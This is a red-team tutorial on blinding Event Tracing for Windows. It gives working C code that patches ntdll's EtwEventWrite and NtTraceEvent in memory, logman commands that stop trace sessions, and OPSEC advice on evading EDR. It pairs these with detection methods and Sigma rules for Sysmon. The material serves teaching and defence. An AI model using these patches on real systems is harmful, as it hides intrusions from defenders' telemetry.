ETW Patching: Blinding Event Tracing for Windows

By Debraj Basak·Sep 19, 2026·15 min readRed Teaming

Objective: Build a working ETW provider/consumer lab, then blind it end-to-end using the same user-mode ntdll patching techniques red teams use in the wild. Every offensive step is paired with the exact detection that catches it, so you leave with both sides of the craft.


The first time I ran a xor rax,rax; ret patch against EtwEventWrite in a lab, the effect was almost anti-climactic. Four bytes. One memcpy. My consumer went silent mid-loop. That’s the point of this technique and also its weakness: it is trivial to execute, trivial to detect if you know where to look, and utterly useless against anything the kernel emits. Half the payoff of the walkthrough below is teaching you what ETW patching does not fix for the attacker, because that is where mature EDRs live now.

We are going to build a small provider, a small consumer, watch events flow, patch ntdll in-process, watch them stop, then walk the deeper NtTraceEvent variant, the admin session-kill path, and finally the detection stack that eats every one of these techniques for lunch.

Windows 10/11 VM. No third-party AV for the first pass so signals are clean. Sysmon v15+ with a permissive config. WinDbg Preview, x64dbg, System Informer (or Process Hacker 2), PE-sieve, Moneta. Visual Studio with the C/C++ workload.


1. ETW Architecture: Providers, Sessions, Consumers

ETW was born as a performance-tracing framework and grew into the primary user-mode telemetry bus that EDRs subscribe to. Three moving parts:

ComponentRole
ProviderAny DLL/EXE that emits events. Identified by a GUID. Calls EventWrite* from advapi32/ntdll.
Session (Controller)A kernel-side buffer with a name and a list of enabled provider GUIDs plus keyword/level masks. Created with StartTrace.
ConsumerReads events out of a session (real-time or from an .etl file) via OpenTrace/ProcessTrace. This is what an EDR agent is.

To see this concretely, from an elevated prompt:

logman query -ets
logman query providers

You’ll see sessions like EventLog-System, DefenderApiLogger, DefenderAuditLogger, and a hundred others. Those Defender sessions are PPL-protected: stopping them from user-mode, even as SYSTEM, is not going to work without a bypass. Note that fact, we come back to it.

The important intuition: when your provider calls EventWrite, the event does not go to the EDR. It goes to every session currently subscribed to your provider GUID. The EDR is one of those consumers. If you break the write in ntdll before it reaches the kernel buffer, no session receives anything.


2. The User-Mode Call Chain to NtTraceEvent

Every user-mode write eventually funnels into ntdll!NtTraceEvent, which is the syscall stub. The high-level surface has five entry points:

APINotes
EtwEventWriteThe classic entry; internally calls EtwEventWriteFull.
EtwEventWriteFullReal work; also directly reachable.
EtwEventWriteExFilter-aware variant.
EtwEventWriteStringString-only convenience.
EtwEventWriteTransferActivity-ID aware.

All five drain into NtTraceEvent. That is why the NtTraceEvent patch is strictly more powerful than the EtwEventWrite patch: one stub covers every provider in the process, no matter which surface API they use.

Attach x64dbg to any process, jump to ntdll.NtTraceEvent, and you’ll see the canonical x64 syscall stub:

; ntdll!NtTraceEvent (x64 Windows 10/11)
mov     r10, rcx                ; 4C 8B D1
mov     eax, 5E                 ; B8 5E 00 00 00   <- SSN, version-dependent
test    byte ptr [7FFE0308h], 1 ; 
jne     short KiFastSystemCall
syscall                         ; 0F 05
ret                             ; C3

Two patch surfaces jump out. Overwrite offset 0 with a return stub, or corrupt the immediate that loads eax (the System Service Number) so the syscall fails predictably. Both are covered below.


Flowchart showing the ETW user-mode call chain from EventWrite through EtwEventWrite and EtwEventWriteFull down to NtTraceEvent syscall stub and into the kernel ETW buffer consumed by EDR sessions
Every user-mode ETW write API funnels through a single syscall stub – making NtTraceEvent the highest-value patch target.

3. Memory Permissions and the Patch Setup

The .text section of ntdll.dll is mapped PAGE_EXECUTE_READ and backed by the image on disk (MEM_IMAGE, shared). Try to memcpy into it as-is and you eat an access violation.

The mandatory dance: flip protection to PAGE_EXECUTE_READWRITE (0x40), write the patch, optionally restore. The moment you write into a shared image page, the kernel copy-on-writes it. That page transitions from MEM_IMAGE / Shared to MEM_PRIVATE / Commit. That transition is the single strongest forensic signal in this whole tutorial, and it survives even if you restore the protection mask.

You can verify in WinDbg:

0:000> !address ntdll!EtwEventWrite
...
Type:     MEM_IMAGE                      <- before patch
State:    MEM_COMMIT
Protect:  PAGE_EXECUTE_READ

0:000> !address ntdll!EtwEventWrite      <- after patch
Type:     MEM_PRIVATE                    <- gotcha
State:    MEM_COMMIT
Protect:  PAGE_EXECUTE_READ

That “PRIVATE” verdict is what PE-sieve and Moneta hunt for.


Conceptual illustration of a shared memory image page splitting into a private copy after being written to, representing the MEM_IMAGE to MEM_PRIVATE transition caused by copy-on-write during ETW patching
The moment you write the patch, the kernel copy-on-writes the ntdll page – flipping it from MEM_IMAGE to MEM_PRIVATE, a forensic marker that outlives the process.

4. Lab Target: A Custom Provider and Consumer

Before we patch anything, we need something to blind. Two tiny programs.

4.1 Provider

// etw-provider-lab.c
// cl /W4 etw-provider-lab.c advapi32.lib
#include <windows.h>
#include <evntprov.h>
#include <stdio.h>

// {A1B2C3D4-1111-2222-3333-444455556666}
static const GUID ProviderGuid =
    { 0xa1b2c3d4, 0x1111, 0x2222,
      { 0x33, 0x33, 0x44, 0x44, 0x55, 0x55, 0x66, 0x66 } };

int main(void) {
    REGHANDLE hProv = 0;
    if (EventRegister(&ProviderGuid, NULL, NULL, &hProv) != ERROR_SUCCESS) {
        printf("[-] EventRegister failed\n");
        return 1;
    }
    printf("[+] Provider registered. PID=%lu. Firing every 2s.\n", GetCurrentProcessId());

    EVENT_DESCRIPTOR desc = { 0 };
    desc.Id = 1; desc.Level = 4; desc.Keyword = 0x1;

    for (int i = 0; ; i++) {
        wchar_t msg[64];
        swprintf_s(msg, 64, L"heartbeat #%d", i);
        EVENT_DATA_DESCRIPTOR edd;
        EventDataDescCreate(&edd, msg, (ULONG)((wcslen(msg) + 1) * sizeof(wchar_t)));
        ULONG s = EventWrite(hProv, &desc, 1, &edd);
        printf("[*] EventWrite -> %lu (%d)\n", s, i);
        Sleep(2000);
    }
    EventUnregister(hProv);
    return 0;
}

EventWrite from advapi32 is a thin wrapper that lands on ntdll!EtwEventWrite. That is the whole point.

4.2 Consumer

// etw-consumer-lab.c
// cl /W4 etw-consumer-lab.c advapi32.lib tdh.lib
#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <stdio.h>

static const GUID ProviderGuid =
    { 0xa1b2c3d4, 0x1111, 0x2222,
      { 0x33, 0x33, 0x44, 0x44, 0x55, 0x55, 0x66, 0x66 } };

#define SESSION_NAME L"MyLabSession"

static void WINAPI OnEvent(PEVENT_RECORD er) {
    if (IsEqualGUID(&er->EventHeader.ProviderId, &ProviderGuid)) {
        wchar_t *s = (wchar_t*)er->UserData;
        wprintf(L"[event] pid=%lu  msg=%ls\n",
                er->EventHeader.ProcessId, s ? s : L"(null)");
    }
}

int main(void) {
    const ULONG psz = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(SESSION_NAME);
    EVENT_TRACE_PROPERTIES *p = (EVENT_TRACE_PROPERTIES*)calloc(1, psz);
    p->Wnode.BufferSize = psz;
    p->Wnode.ClientContext = 1;
    p->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    p->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
    p->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    TRACEHANDLE hSess = 0;
    ControlTraceW(0, SESSION_NAME, p, EVENT_TRACE_CONTROL_STOP); // clean prior
    ULONG s = StartTraceW(&hSess, SESSION_NAME, p);
    if (s != ERROR_SUCCESS) { printf("[-] StartTrace: %lu\n", s); return 1; }

    EnableTraceEx2(hSess, &ProviderGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER,
                   TRACE_LEVEL_VERBOSE, 0xFFFFFFFFFFFFFFFFULL, 0, 0, NULL);

    EVENT_TRACE_LOGFILEW lf = { 0 };
    lf.LoggerName = (LPWSTR)SESSION_NAME;
    lf.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    lf.EventRecordCallback = OnEvent;

    TRACEHANDLE hTrace = OpenTraceW(&lf);
    printf("[+] Consumer running. Waiting for events...\n");
    ProcessTrace(&hTrace, 1, NULL, NULL);
    return 0;
}

Run the consumer first, then the provider. You should see [event] pid=... msg=heartbeat #0 scrolling in the consumer window. That is the signal we’re going to kill.

Sanity-check with logman query -ets. MyLabSession shows up. That is our target from Phase 5 too.


5. Lab 1: Local Patch of EtwEventWrite

Same process as the provider. We are not going to inject cross-process for this first pass, that keeps the signal clean and avoids WriteProcessMemory telemetry.

// etw_patch_lab.c
#include <windows.h>
#include <stdio.h>

static void patch_etw_eventwrite(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID   pTarget = GetProcAddress(hNtdll, "EtwEventWrite");
    printf("[*] EtwEventWrite @ %p\n", pTarget);

    DWORD old = 0;
    if (!VirtualProtect(pTarget, 4, PAGE_EXECUTE_READWRITE, &old)) {
        printf("[-] VirtualProtect: %lu\n", GetLastError()); return;
    }

    // xor rax, rax ; ret   -> returns STATUS_SUCCESS silently
    unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 };
    memcpy(pTarget, patch, sizeof(patch));

    VirtualProtect(pTarget, 4, old, &old);
    printf("[+] Patched. This process is now ETW-deaf.\n");
}

Wire this into main before your EventRegister loop, or add a hotkey/prompt to the provider itself. The lab flow I use: provider fires heartbeats for 10 seconds, prompts for ENTER, calls patch_etw_eventwrite, continues the loop. Consumer window goes dead the instant you press ENTER, even though the provider keeps calling EventWrite and getting ERROR_SUCCESS back.

Why xor rax,rax; ret and not plain 0xC3? Two reasons. First, some callers check the return value; STATUS_SUCCESS (0) keeps them happy. Second, a lone RET is what every naive detection tutorial screenshots. 48 33 C0 C3 is only marginally stealthier at the byte level, but it looks intentional and matches real function prologues you might replace it with.

OPSEC note on GetProcAddress. GetProcAddress shows up in the IAT of your binary. An EDR that scans imports will notice a small unsigned tool that imports GetProcAddress and VirtualProtect and nothing else. In real ops you resolve EtwEventWrite by walking the PEB, hitting ntdll‘s export directory, and locating the RVA yourself. That is a separate walkthrough; for lab clarity we stay with the API.


6. Lab 2: Deeper Patch on NtTraceEvent

Same code, one identifier change:

PVOID pTarget = GetProcAddress(hNtdll, "NtTraceEvent");

Everything else is identical. The consequence is bigger: any code path in the process that reaches ETW through any of the five write APIs, including EtwEventWriteEx and EtwEventWriteTransfer, is silenced. This is the patch you actually want in a red-team payload because it doesn’t leave one of the sibling APIs uncovered.

SSN corruption variant

Instead of overwriting the prologue with a return, corrupt the syscall number:

// Overwrite the immediate operand of 'mov eax, <SSN>' at offset 4
DWORD old = 0;
VirtualProtect((BYTE*)pTarget + 4, 1, PAGE_EXECUTE_READWRITE, &old);
*((BYTE*)pTarget + 4) = 0xFF;    // bogus SSN
VirtualProtect((BYTE*)pTarget + 4, 1, old, &old);

The syscall still executes but with an invalid service number and returns STATUS_INVALID_PARAMETER (0xC000000D). Callers who don’t inspect the NTSTATUS keep going; those who do get a plausible failure that looks like normal argument validation instead of “this function has been replaced.” A single-byte modification is also a smaller diff for hash-based integrity checkers to catch, though PE-sieve still sees it.

I lost an afternoon once to a lab where SSN corruption “worked” against EtwEventWrite but the consumer kept seeing events. The reason: I patched a stub for a different Nt* function whose SSN happened to sit near NtTraceEvent in memory. Confirm the offset with a fresh WinDbg disassembly every time you switch OS build; SSNs drift across Windows versions.


7. Lab 3: Session Termination (Admin Path)

Not a patch. A cleaner sledgehammer, if you have admin.

logman query -ets
logman stop "MyLabSession" -ets

The consumer process is still alive. ProcessTrace is still blocked on its callback. No more events arrive because the session’s kernel-side buffer is gone. Programmatic equivalent:

ControlTraceW(0, L"MyLabSession", pProps, EVENT_TRACE_CONTROL_STOP);

Two caveats before you try this on a real target. First, DefenderApiLogger and DefenderAuditLogger are Secure ETW sessions running under PPL. Even SYSTEM cannot stop them without a PPL-capable process, which you don’t have without a driver or a signed abuse primitive. Second, a session vanishing is itself extraordinarily loud. A SIEM that expects continuous heartbeats from a session and suddenly gets nothing is a much stronger detection than any byte-level check.


8. What ETW Patching Does NOT Blind

Understand this or you’ll walk into a range confidently blind and get caught by the second layer. User-mode patching only blinds telemetry that is generated in user mode.

Survives patchingWhy
ETW-Ti (Microsoft-Windows-Threat-Intelligence)Emitted inside the kernel. Your NtProtectVirtualMemory call to prep the patch shows up here.
Microsoft-Windows-Kernel-ProcessProcess/thread lifecycle events raised from PspInsertThread and friends inside the kernel.
Kernel callbacksPsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback. EDR drivers register here directly.
Minifilter callbacksSysmon’s driver, ELAM drivers, and every real EDR sit here.
Audit subsystem4688 / 4663 are generated on the kernel side and go through the Security event channel, not your provider path.

Which means: patching ntdll!NtTraceEvent in powershell.exe blinds Defender AMSI/PowerShell ETW for that one process. It does not stop Sysmon from seeing the powershell.exe create, does not stop ETW-Ti from noticing the VirtualProtect you made to install the patch, and does not remove your process from Microsoft-Windows-Kernel-Process. Mature EDRs stopped relying on user-mode ETW alone years ago, precisely because of this class of technique.


Hierarchy diagram showing that ETW patching blinds only user-mode ETW while kernel-emitted telemetry channels including ETW-Ti, kernel callbacks, minifilter drivers, and Security audit events all survive the patch
User-mode ETW patching is a narrow evasion – everything the kernel emits independently remains fully intact and visible to mature EDRs.

9. OPSEC and Evasion Maturity

Where a real operator invests effort:

  • Skip GetProcAddress. Walk the PEB to ntdll, parse IMAGE_EXPORT_DIRECTORY yourself, resolve EtwEventWrite/NtTraceEvent by name hash. No IAT footprint.
  • Skip hooked stubs. Many EDRs hook NtProtectVirtualMemory in userland. Use indirect syscalls (SysWhispers-style, Hell’s Gate/Halo’s Gate to resolve SSNs at runtime) so the VirtualProtect prep does not run through the hooked path. This dodges some user-mode telemetry but does not dodge ETW-Ti.
  • Restore protection immediately. Reduces the window a memory scanner can see RWX on ntdll.
  • Accept the MEM_PRIVATE marker. You cannot undo it from user mode. The page is now private, forever, for the life of the process. Plan for the memory scanner.
  • Zero-event silhouette. If your beacon generates gigabytes of network traffic and executes hundreds of syscalls but its ETW providers emit nothing, that shape alone is anomalous.

10. Detection Deep Dive

Now flip the seat and catch it.

10.1 Memory-type divergence (the killshot)

Run PE-sieve against your patched process:

pe-sieve64.exe /pid <PID> /shellc 3 /data 3

ntdll.dll will be flagged as modified with a small .text diff. Moneta:

Moneta64.exe -m ioc -p <PID>

Look for Modified code on ntdll.dll. This detection does not care about your patch bytes, does not care about your SSN, does not care whether you restored the protection mask. It compares in-memory to on-disk. It wins.

10.2 Protection flip via Sysmon EID 10

Sysmon ProcessAccess (Event ID 10) captures cross-process handle grants, and configured aggressively it also gives you a call stack you can pattern-match against. Local VirtualProtect on your own process is less noisy in EID 10; the strongest EID 10 signal is when patching happens remotely via OpenProcess + WriteProcessMemory into another process’s ntdll.

For local in-process patching, Sysmon Event ID 25 (ProcessTampering) is what you want. It fires when process image memory diverges from the on-disk image, which is exactly what our patch does.

title: ntdll Modified In-Memory (Possible ETW Patching)
id: 3f7a3d3f-6a0b-4c6c-9e1a-1c9d0e6a9f01
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 25
    Type: 'Image is replaced'
  condition: selection
falsepositives:
  - Legitimate EDR self-protection at startup
  - .NET AOT loaders (rare)
level: high
tags:
  - attack.defense_evasion
  - attack.t1562.001

And the classic protection-flip rule, keyed off the call stack in EID 10:

title: Suspicious VirtualProtect on ntdll.dll .text
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\ntdll.dll'
    CallTrace|contains:
      - 'kernelbase.dll'
      - 'VirtualProtect'
  condition: selection
falsepositives:
  - EDR startup hooking
level: high
tags:
  - attack.defense_evasion
  - attack.t1562.001

10.3 ETW-Ti as the backstop

A PPL-signed consumer subscribed to Microsoft-Windows-Threat-Intelligence sees the NtProtectVirtualMemory invocation on ntdll‘s address range with the target protection PAGE_EXECUTE_READWRITE. Ordinary tenants cannot run a PPL consumer, which is why this is an EDR-vendor detection, not something you can bolt on with Sysmon. Know it exists; when you’re evaluating an EDR, ask the vendor whether they consume ETW-Ti and how.

10.4 Byte-level integrity

The cheap and effective option for a defender who owns endpoints: periodically hash the .text of ntdll in-memory (via a driver, or a scheduled trusted scan) and compare to the on-disk PE’s .text. Any mismatch on a page that isn’t a legitimate hotpatch is a critical alert.

10.5 Absence-of-events heuristic

If a host normally emits a steady stream of Defender/PowerShell/DotNet ETW events and suddenly emits zero from a specific PID that is otherwise very active, that is a detection. Model it in your SIEM as a per-process baseline. It is one of the few techniques that catches an operator who did everything else right.


Illustration of a magnifying glass detecting a single corrupted memory page amid a grid of intact pages, symbolizing PE-sieve and Moneta catching MEM_PRIVATE ntdll pages during ETW patch detection
Memory integrity scanners like PE-sieve and Moneta find patched ntdll pages not by matching bytes, but by spotting the MEM_PRIVATE anomaly in a sea of shared image-backed pages.

11. Tools

ToolUseLink
WinDbg PreviewDisassemble ntdll!EtwEventWrite / NtTraceEvent, inspect !address before/after patch.microsoft.com
x64dbgLive view of patched bytes and syscall stub.x64dbg.com
System Informer / Process HackerEnumerate ETW providers registered by a PID; inspect memory regions.systeminformer.sourceforge.io
Sysmon (v15+)EID 10 (ProcessAccess) and EID 25 (ProcessTampering).learn.microsoft.com
PE-sieveScan a process for modified system DLLs; catches MEM_PRIVATE ntdll pages.github.com/hasherezade/pe-sieve
MonetaBroader in-memory IOC scan; flags modified code and unbacked regions.github.com/forrest-orr/moneta
logman.exeEnumerate/stop ETW sessions.Built-in
Volatility 3Offline dump inspection of process VADs and DLL memory.volatilityfoundation.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Impair Defenses: Disable or Modify ToolsT1562.001PE-sieve/Moneta ntdll integrity; Sysmon EID 25; ETW-Ti NtProtectVirtualMemory telemetry.
Impair Defenses: Indicator BlockingT1562.006Absence-of-events baseline per PID; SIEM heartbeat monitoring on ETW sessions.
Impair Defenses (parent)T1562Session enumeration/stop events (logman, ControlTrace).
Process InjectionT1055Only if patching another process: Sysmon EID 10 with GrantedAccess including PROCESS_VM_WRITE (0x20) and EID 8 for follow-on threads.

(Confirm T1562.006 wording against the current ATT&CK entry before you publish; the sub-technique text has shifted at least twice in the last two years.)


Summary

  • User-mode ETW patching is four bytes and a VirtualProtect. NtTraceEvent is the deepest and highest-value target because every write API funnels through it.
  • The forensic footprint is not the bytes, it is the memory type. Patching flips ntdll’s page from MEM_IMAGE to MEM_PRIVATE, and PE-sieve/Moneta hunt exactly that.
  • User-mode patching does not blind ETW-Ti, kernel callbacks, minifilter drivers, or the Security channel. Treat it as one narrow evasion, not a cloak.
  • Detection stack that actually works: Sysmon EID 25 for tampering, EID 10 for cross-process patch attempts, PE-sieve/Moneta for continuous integrity, ETW-Ti for the NtProtectVirtualMemory signal, and a per-PID absence-of-events baseline for the silhouette.
  • The lasting lesson for both sides: any defense that lives at the attacker’s privilege level is negotiable. Push telemetry to the kernel or to another machine before the payload runs, or plan for the patch.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.